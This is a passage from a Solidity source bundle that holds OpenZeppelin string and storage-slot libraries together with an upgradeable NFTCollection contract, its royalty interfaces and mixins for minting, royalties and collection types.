"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/MathUpgradeable.sol\";\nimport \"./math/SignedMathUpgradeable.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary StringsUpgradeable {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = MathUpgradeable.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toString(int256 value) internal pure returns (string memory) {\n return string(abi.encodePacked(value < 0 ? \"-\" : \"\", toString(SignedMathUpgradeable.abs(value))));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, MathUpgradeable.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"@openzeppelin/contracts/utils/ShortStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/ShortStrings.sol)\n\npragma solidity ^0.8.8;\n\nimport \"./StorageSlot.sol\";\n\n// | string | 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |\n// | length | 0x BB |\ntype ShortString is bytes32;\n\n/**\n * @dev This library provides functions to convert short memory strings\n * into a `ShortString` type that can be used as an immutable variable.\n *\n * Strings of arbitrary length can be optimized using this library if\n * they are short enough (up to 31 bytes) by packing them with their\n * length (1 byte) in a single EVM word (32 bytes). Additionally, a\n * fallback mechanism can be used for every other case.\n *\n * Usage example:\n *\n * ```solidity\n * contract Named {\n * using ShortStrings for *;\n *\n * ShortString private immutable _name;\n * string private _nameFallback;\n *\n * constructor(string memory contractName) {\n * _name = contractName.toShortStringWithFallback(_nameFallback);\n * }\n *\n * function name() external view returns (string memory) {\n * return _name.toStringWithFallback(_nameFallback);\n * }\n * }\n * ```\n */\nlibrary ShortStrings {\n // Used as an identifier for strings longer than 31 bytes.\n bytes32 private constant _FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;\n\n error StringTooLong(string str);\n error InvalidShortString();\n\n /**\n * @dev Encode a string of at most 31 chars into a `ShortString`.\n *\n * This will trigger a `StringTooLong` error is the input string is too long.\n */\n function toShortString(string memory str) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));\n }\n\n /**\n * @dev Decode a `ShortString` back to a \"normal\" string.\n */\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n // using `new string(len)` would work locally but is not memory safe.\n string memory str = new string(32);\n /// @solidity memory-safe-assembly\n assembly {\n mstore(str, len)\n mstore(add(str, 0x20), sstr)\n }\n return str;\n }\n\n /**\n * @dev Return the length of a `ShortString`.\n */\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n if (result > 31) {\n revert InvalidShortString();\n }\n return result;\n }\n\n /**\n * @dev Encode a string into a `ShortString`, or write it to storage if it is too long.\n */\n function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n return ShortString.wrap(_FALLBACK_SENTINEL);\n }\n }\n\n /**\n * @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}.\n */\n function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n /**\n * @dev Return the length of a string that was encoded to `ShortString` or written to storage using {setWithFallback}.\n *\n * WARNING: This will return the \"byte length\" of the string. This may not reflect the actual length in terms of\n * actual characters as the UTF-8 encoding of a single character can span over multiple bytes.\n */\n function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {\n if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/StorageSlot.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/StorageSlot.sol)\n// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```solidity\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n *\n * _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._\n * _Available since v4.9 for `string`, `bytes`._\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` with member `value` located at `slot`.\n */\n function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` representation of the string storage pointer `store`.\n */\n function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` with member `value` located at `slot`.\n */\n function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.\n */\n function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n}\n"
},
"contracts/collectionTemplates/NFTCollection.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol\";\n\nimport \"../interfaces/internal/INFTCollectionInitializer.sol\";\n\nimport \"../libraries/AddressLibrary.sol\";\n\nimport \"../mixins/collections/CollectionRoyalties.sol\";\nimport \"../mixins/collections/NFTCollectionType.sol\";\nimport \"../mixins/collections/SequentialMintCollection.sol\";\nimport \"../mixins/collections/TokenLimitedCollection.sol\";\nimport \"../mixins/shared/ContractFactory.sol\";\n\nerror NFTCollection_Max_Token_Id_Has_Already_Been_Minted(uint256 maxTokenId);\nerror NFTCollection_Token_CID_Already_Minted();\nerror NFTCollection_Token_CID_Required();\nerror NFTCollection_Token_Creator_Payment_Address_Required();\n\n/**\n * @title A collection of 1:1 NFTs by a single creator.\n * @notice A 10% royalty to the creator is included which may be split with collaborators on a per-NFT basis.\n * @author batu-inal & HardlyDifficult\n */\ncontract NFTCollection is\n INFTCollectionInitializer,\n ContractFactory,\n Initializable,\n ERC165Upgradeable,\n ERC721Upgradeable,\n ERC721BurnableUpgradeable,\n NFTCollectionType,\n SequentialMintCollection,\n TokenLimitedCollection,\n CollectionRoyalties\n{\n using AddressLibrary for address;\n using AddressUpgradeable for address;\n\n /**\n * @notice The baseURI to use for the tokenURI, if undefined then `ipfs://` is used.\n */\n string private baseURI_;\n\n /**\n * @notice Stores hashes minted to prevent duplicates.\n * @dev 0 means not yet minted, set to 1 when minted.\n * For why using uint is better than using bool here:\n * github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.7.3/contracts/security/ReentrancyGuard.sol#L23-L27\n */\n mapping(string => uint256) private cidToMinted;\n\n /**\n * @dev Stores an optional alternate address to receive creator revenue and royalty payments.\n * The target address may be a contract which could split or escrow payments.\n */\n mapping(uint256 => address payable) private tokenIdToCreatorPaymentAddress;\n\n /**\n * @dev Stores a CID for each NFT.\n */\n mapping(uint256 => string) private _tokenCIDs;\n\n /**\n * @notice Emitted when the owner changes the base URI to be used for NFTs in this collection.\n * @param baseURI The new base URI to use.\n */\n event BaseURIUpdated(string baseURI);\n\n /**\n * @notice Emitted when a new NFT is minted.\n * @param creator The address of the collection owner at this time this NFT was minted.\n * @param tokenId The tokenId of the newly minted NFT.\n * @param indexedTokenCID The CID of the newly minted NFT, indexed to enable watching for mint events by the tokenCID.\n * @param tokenCID The actual CID of the newly minted NFT.\n */\n event Minted(address indexed creator, uint256 indexed tokenId, string indexed indexedTokenCID, string tokenCID);\n\n /**\n * @notice Emitted when the payment address for creator royalties is set.\n * @param fromPaymentAddress The original address used for royalty payments.\n * @param toPaymentAddress The new address used for royalty payments.\n * @param tokenId The NFT which had the royalty payment address updated.\n */\n event TokenCreatorPaymentAddressSet(\n address indexed fromPaymentAddress,\n address indexed toPaymentAddress,\n uint256 indexed tokenId\n );\n\n /**\n * @notice Initialize the template's immutable variables.\n * @param _contractFactory The factory which will be used to create collection contracts.\n */\n constructor(address _contractFactory) ContractFactory(_contractFactory) NFTCollectionType(NFT_COLLECTION_TYPE) {\n // The template will be initialized by the factory when it's registered for use.\n }\n\n /**\n * @notice Called by the contract factory on creation.\n * @param _creator The creator of this collection.\n * @param _name The collection's `name`.\n * @param _symbol The collection's `symbol`.\n */\n function initialize(\n address payable _creator,\n string calldata _name,\n string calldata _symbol\n ) external initializer onlyContractFactory {\n __ERC721_init(_name, _symbol);\n _initializeSequentialMintCollection(_creator);\n // maxTokenId defaults to 0 but may be assigned later on.\n }\n\n /**\n * @notice Mint an NFT defined by its metadata path.\n * @dev This is only callable by the collection creator/owner.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @return tokenId The tokenId of the newly minted NFT.\n */\n function mint(string calldata tokenCID) external returns (uint256 tokenId) {\n tokenId = _mint(tokenCID);\n }\n\n /**\n * @notice Mint an NFT defined by its metadata path and approves the provided operator address.\n * @dev This is only callable by the collection creator/owner.\n * It can be used the first time they mint to save having to issue a separate approval\n * transaction before listing the NFT for sale.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param operator The address to set as an approved operator for the creator's account.\n * @return tokenId The tokenId of the newly minted NFT.\n */\n function mintAndApprove(string calldata tokenCID, address operator) external returns (uint256 tokenId) {\n tokenId = _mint(tokenCID);\n setApprovalForAll(operator, true);\n }\n\n /**\n * @notice Mint an NFT defined by its metadata path and have creator revenue/royalties sent to an alternate address.\n * @dev This is only callable by the collection creator/owner.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param tokenCreatorPaymentAddress The royalty recipient address to use for this NFT.\n * @return tokenId The tokenId of the newly minted NFT.\n */\n function mintWithCreatorPaymentAddress(\n string calldata tokenCID,\n address payable tokenCreatorPaymentAddress\n ) public returns (uint256 tokenId) {\n if (tokenCreatorPaymentAddress == address(0)) {\n revert NFTCollection_Token_Creator_Payment_Address_Required();\n }\n tokenId = _mint(tokenCID);\n tokenIdToCreatorPaymentAddress[tokenId] = tokenCreatorPaymentAddress;\n emit TokenCreatorPaymentAddressSet(address(0), tokenCreatorPaymentAddress, tokenId);\n }\n\n /**\n * @notice Mint an NFT defined by its metadata path and approves the provided operator address.\n * @dev This is only callable by the collection creator/owner.\n * It can be used the first time they mint to save having to issue a separate approval\n * transaction before listing the NFT for sale.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param tokenCreatorPaymentAddress The royalty recipient address to use for this NFT.\n * @param operator The address to set as an approved operator for the creator's account.\n * @return tokenId The tokenId of the newly minted NFT.\n */\n function mintWithCreatorPaymentAddressAndApprove(\n string calldata tokenCID,\n address payable tokenCreatorPaymentAddress,\n address operator\n ) external returns (uint256 tokenId) {\n tokenId = mintWithCreatorPaymentAddress(tokenCID, tokenCreatorPaymentAddress);\n setApprovalForAll(operator, true);\n }\n\n /**\n * @notice Mint an NFT defined by its metadata path and have creator revenue/royalties sent to an alternate address\n * which is defined by a contract call, typically a proxy contract address representing the payment terms.\n * @dev This is only callable by the collection creator/owner.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param paymentAddressFactory The contract to call which will return the address to use for payments.\n * @param paymentAddressCall The call details to send to the factory provided.\n * @return tokenId The tokenId of the newly minted NFT.\n */\n function mintWithCreatorPaymentFactory(\n string calldata tokenCID,\n address paymentAddressFactory,\n bytes calldata paymentAddressCall\n ) public returns (uint256 tokenId) {\n address payable tokenCreatorPaymentAddress = paymentAddressFactory.callAndReturnContractAddress(paymentAddressCall);\n tokenId = mintWithCreatorPaymentAddress(tokenCID, tokenCreatorPaymentAddress);\n }\n\n /**\n * @notice Mint an NFT defined by its metadata path and have creator revenue/royalties sent to an alternate address\n * which is defined by a contract call, typically a proxy contract address representing the payment terms.\n * @dev This is only callable by the collection creator/owner.\n * It can be used the first time they mint to save having to issue a separate approval\n * transaction before listing the NFT for sale.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param paymentAddressFactory The contract to call which will return the address to use for payments.\n * @param paymentAddressCall The call details to send to the factory provided.\n * @param operator The address to set as an approved operator for the creator's account.\n * @return tokenId The tokenId of the newly minted NFT.\n */\n function mintWithCreatorPaymentFactoryAndApprove(\n string calldata tokenCID,\n address paymentAddressFactory,\n bytes calldata paymentAddressCall,\n address operator\n ) external returns (uint256 tokenId) {\n tokenId = mintWithCreatorPaymentFactory(tokenCID, paymentAddressFactory, paymentAddressCall);\n setApprovalForAll(operator, true);\n }\n\n /**\n * @notice Allows the collection creator to destroy this contract only if\n * no NFTs have been minted yet or the minted NFTs have been burned.\n * @dev Once destructed, a new collection could be deployed to this address (although that's discouraged).\n */\n function selfDestruct() external onlyOwner {\n _selfDestruct();\n }\n\n /**\n * @notice Allows the owner to assign a baseURI to use for the tokenURI instead of the default `ipfs://`.\n * @param baseURIOverride The new base URI to use for all NFTs in this collection.\n */\n function updateBaseURI(string calldata baseURIOverride) external onlyOwner {\n baseURI_ = baseURIOverride;\n\n emit BaseURIUpdated(baseURIOverride);\n }\n\n /**\n * @notice Allows the owner to set a max tokenID.\n * This provides a guarantee to collectors about the limit of this collection contract, if applicable.\n * @dev Once this value has been set, it may be decreased but can never be increased.\n * This max may be more than the final `totalSupply` if 1 or more tokens were burned.\n * @param _maxTokenId The max tokenId to set, all NFTs must have a tokenId less than or equal to this value.\n */\n function updateMaxTokenId(uint32 _maxTokenId) external onlyOwner {\n _updateMaxTokenId(_maxTokenId);\n }\n\n /**\n * @inheritdoc ERC721Upgradeable\n * @dev The function here asserts `onlyOwner` while the super confirms ownership.\n */\n function _burn(uint256 tokenId) internal override(ERC721Upgradeable, SequentialMintCollection) onlyOwner {\n delete cidToMinted[_tokenCIDs[tokenId]];\n delete tokenIdToCreatorPaymentAddress[tokenId];\n delete _tokenCIDs[tokenId];\n super._burn(tokenId);\n }\n\n function _mint(string calldata tokenCID) private onlyOwner returns (uint256 tokenId) {\n if (bytes(tokenCID).length == 0) {\n revert NFTCollection_Token_CID_Required();\n }\n if (cidToMinted[tokenCID] != 0) {\n revert NFTCollection_Token_CID_Already_Minted();\n }\n // If the mint will exceed uint32, the addition here will overflow. But it's not realistic to mint that many tokens.\n tokenId = ++latestTokenId;\n if (maxTokenId != 0 && tokenId > maxTokenId) {\n revert NFTCollection_Max_Token_Id_Has_Already_Been_Minted(maxTokenId);\n }\n cidToMinted[tokenCID] = 1;\n _tokenCIDs[tokenId] = tokenCID;\n _safeMint(msg.sender, tokenId);\n emit Minted(msg.sender, tokenId, tokenCID, tokenCID);\n }\n\n /**\n * @notice The base URI used for all NFTs in this collection.\n * @dev The `tokenCID` is appended to this to obtain an NFT's `tokenURI`.\n * e.g. The URI for a token with the `tokenCID`: \"foo\" and `baseURI`: \"ipfs://\" is \"ipfs://foo\".\n * @return uri The base URI used by this collection.\n */\n function baseURI() external view returns (string memory uri) {\n uri = _baseURI();\n }\n\n /**\n * @notice Checks if the creator has already minted a given NFT using this collection contract.\n * @param tokenCID The CID to check for.\n * @return hasBeenMinted True if the creator has already minted an NFT with this CID.\n */\n function getHasMintedCID(string calldata tokenCID) external view returns (bool hasBeenMinted) {\n hasBeenMinted = cidToMinted[tokenCID] != 0;\n }\n\n /**\n * @inheritdoc CollectionRoyalties\n */\n function getTokenCreatorPaymentAddress(\n uint256 tokenId\n ) public view override returns (address payable creatorPaymentAddress) {\n creatorPaymentAddress = tokenIdToCreatorPaymentAddress[tokenId];\n if (creatorPaymentAddress == address(0)) {\n creatorPaymentAddress = owner;\n }\n }\n\n /**\n * @inheritdoc IERC165Upgradeable\n */\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n override(ERC165Upgradeable, ERC721Upgradeable, NFTCollectionType, CollectionRoyalties)\n returns (bool interfaceSupported)\n {\n interfaceSupported = super.supportsInterface(interfaceId);\n }\n\n /**\n * @inheritdoc IERC721MetadataUpgradeable\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory uri) {\n _requireMinted(tokenId);\n\n uri = string.concat(_baseURI(), _tokenCIDs[tokenId]);\n }\n\n function _baseURI() internal view override returns (string memory uri) {\n uri = baseURI_;\n if (bytes(uri).length == 0) {\n uri = \"ipfs://\";\n }\n }\n}\n"
},
"contracts/interfaces/internal/INFTCollectionInitializer.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/**\n * @title Declares the interface for initializing an NFTCollection contract.\n * @author batu-inal & HardlyDifficult\n */\ninterface INFTCollectionInitializer {\n function initialize(address payable _creator, string memory _name, string memory _symbol) external;\n}\n"
},
"contracts/interfaces/internal/INFTCollectionType.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/**\n * @title Declares the type of the collection contract.\n * @dev This interface is declared as an ERC-165 interface.\n * @author reggieag\n */\ninterface INFTCollectionType {\n function getNFTCollectionType() external view returns (string memory collectionType);\n}\n"
},
"contracts/interfaces/standards/royalties/IGetFees.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/**\n * @notice An interface for communicating fees to 3rd party marketplaces.\n * @dev Originally implemented in mainnet contract 0x44d6e8933f8271abcf253c72f9ed7e0e4c0323b3\n */\ninterface IGetFees {\n /**\n * @notice Get the recipient addresses to which creator royalties should be sent.\n * @dev The expected royalty amounts are communicated with `getFeeBps`.\n * @param tokenId The ID of the NFT to get royalties for.\n * @return recipients An array of addresses to which royalties should be sent.\n */\n function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory recipients);\n\n /**\n * @notice Get the creator royalty amounts to be sent to each recipient, in basis points.\n * @dev The expected recipients are communicated with `getFeeRecipients`.\n * @param tokenId The ID of the NFT to get royalties for.\n * @return royaltiesInBasisPoints The array of fees to be sent to each recipient, in basis points.\n */\n function getFeeBps(uint256 tokenId) external view returns (uint256[] memory royaltiesInBasisPoints);\n}\n"
},
"contracts/interfaces/standards/royalties/IGetRoyalties.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\ninterface IGetRoyalties {\n /**\n * @notice Get the creator royalties to be sent.\n * @dev The data is the same as when calling `getFeeRecipients` and `getFeeBps` separately.\n * @param tokenId The ID of the NFT to get royalties for.\n * @return recipients An array of addresses to which royalties should be sent.\n * @return royaltiesInBasisPoints The array of fees to be sent to each recipient, in basis points.\n */\n function getRoyalties(\n uint256 tokenId\n ) external view returns (address payable[] memory recipients, uint256[] memory royaltiesInBasisPoints);\n}\n"
},
"contracts/interfaces/standards/royalties/IRoyaltyInfo.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/**\n * @notice Interface for EIP-2981: NFT Royalty Standard.\n * For more see: https://eips.ethereum.org/EIPS/eip-2981.\n */\ninterface IRoyaltyInfo {\n /**\n * @notice Get the creator royalties to be sent.\n * @param tokenId The ID of the NFT to get royalties for.\n * @param salePrice The total price of the sale.\n * @return receiver The address to which royalties should be sent.\n * @return royaltyAmount The total amount that should be sent to the `receiver`.\n */\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) external view returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"contracts/interfaces/standards/royalties/ITokenCreator.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\ninterface ITokenCreator {\n /**\n * @notice Returns the creator of this NFT collection.\n * @param tokenId The ID of the NFT to get the creator payment address for.\n * @return creator The creator of this collection.\n */\n function tokenCreator(uint256 tokenId) external view returns (address payable creator);\n}\n"
},
"contracts/libraries/AddressLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol\";\n\nstruct CallWithoutValue {\n address target;\n bytes callData;\n}\n\nerror AddressLibrary_Proxy_Call_Did_Not_Return_A_Contract(address addressReturned);\n\n/**\n * @title A library for address helpers not already covered by the OZ library.\n * @author batu-inal & HardlyDifficult\n */\nlibrary AddressLibrary {\n using AddressUpgradeable for address;\n using AddressUpgradeable for address payable;\n\n /**\n * @notice Calls an external contract with arbitrary data and parse the return value into an address.\n * @param externalContract The address of the contract to call.\n * @param callData The data to send to the contract.\n * @return contractAddress The address of the contract returned by the call.\n */\n function callAndReturnContractAddress(\n address externalContract,\n bytes calldata callData\n ) internal returns (address payable contractAddress) {\n bytes memory returnData = externalContract.functionCall(callData);\n contractAddress = abi.decode(returnData, (address));\n if (!contractAddress.isContract()) {\n revert AddressLibrary_Proxy_Call_Did_Not_Return_A_Contract(contractAddress);\n }\n }\n\n function callAndReturnContractAddress(\n CallWithoutValue calldata call\n ) internal returns (address payable contractAddress) {\n contractAddress = callAndReturnContractAddress(call.target, call.callData);\n }\n}\n"
},
"contracts/mixins/collections/CollectionRoyalties.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol\";\n\nimport \"../../interfaces/standards/royalties/IGetFees.sol\";\nimport \"../../interfaces/standards/royalties/IGetRoyalties.sol\";\nimport \"../../interfaces/standards/royalties/IRoyaltyInfo.sol\";\nimport \"../../interfaces/standards/royalties/ITokenCreator.sol\";\n\nimport \"../shared/Constants.sol\";\n\n/**\n * @title Defines various royalty APIs for broad marketplace support.\n * @author batu-inal & HardlyDifficult\n */\nabstract contract CollectionRoyalties is IGetRoyalties, IGetFees, IRoyaltyInfo, ITokenCreator, ERC165Upgradeable {\n /**\n * @inheritdoc IGetFees\n */\n function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory recipients) {\n recipients = new address payable[](1);\n recipients[0] = getTokenCreatorPaymentAddress(tokenId);\n }\n\n /**\n * @inheritdoc IGetFees\n * @dev The tokenId param is ignored since all NFTs return the same value.\n */\n function getFeeBps(uint256 /* tokenId */) external pure returns (uint256[] memory royaltiesInBasisPoints) {\n royaltiesInBasisPoints = new uint256[](1);\n royaltiesInBasisPoints[0] = ROYALTY_IN_BASIS_POINTS;\n }\n\n /**\n * @inheritdoc IGetRoyalties\n */\n function getRoyalties(\n uint256 tokenId\n ) external view returns (address payable[] memory recipients, uint256[] memory royaltiesInBasisPoints) {\n recipients = new address payable[](1);\n recipients[0] = getTokenCreatorPaymentAddress(tokenId);\n royaltiesInBasisPoints = new uint256[](1);\n royaltiesInBasisPoints[0] = ROYALTY_IN_BASIS_POINTS;\n }\n\n /**\n * @notice The address to pay the creator proceeds/royalties for the collection.\n * @param tokenId The ID of the NFT to get the creator payment address for.\n * @return creatorPaymentAddress The address to which royalties should be paid.\n */\n function getTokenCreatorPaymentAddress(\n uint256 tokenId\n ) public view virtual returns (address payable creatorPaymentAddress);\n\n /**\n * @inheritdoc IRoyaltyInfo\n */\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = getTokenCreatorPaymentAddress(tokenId);\n unchecked {\n royaltyAmount = salePrice / ROYALTY_RATIO;\n }\n }\n\n /**\n * @inheritdoc IERC165Upgradeable\n * @dev Checks the supported royalty interfaces.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool interfaceSupported) {\n interfaceSupported = (interfaceId == type(IRoyaltyInfo).interfaceId ||\n interfaceId == type(ITokenCreator).interfaceId ||\n interfaceId == type(IGetRoyalties).interfaceId ||\n interfaceId == type(IGetFees).interfaceId ||\n super.supportsInterface(interfaceId));\n }\n}\n"
},
"contracts/mixins/collections/NFTCollectionType.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol\";\nimport \"@openzeppelin/contracts/utils/ShortStrings.sol\";\n\nimport \"../../interfaces/internal/INFTCollectionType.sol\";\n\n/**\n * @title A mixin to add the NFTCollectionType interface to a contract.\n * @author HardlyDifficult & reggieag\n */\nabstract contract NFTCollectionType is INFTCollectionType, ERC165Upgradeable {\n using ShortStrings for string;\n using ShortStrings for ShortString;\n\n ShortString private immutable _collectionTypeName;\n\n constructor(string memory collectionTypeName) {\n _collectionTypeName = collectionTypeName.toShortString();\n }\n\n /**\n * @notice Returns a name of the type of collection this contract represents.\n * @return collectionType The collection type.\n */\n function getNFTCollectionType() external view returns (string memory collectionType) {\n collectionType = _collectionTypeName.toString();\n }\n\n /**\n * @inheritdoc IERC165Upgradeable\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool interfaceSupported) {\n interfaceSupported = interfaceId == type(INFTCollectionType).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/mixins/collections/SequentialMintCollection.sol": {
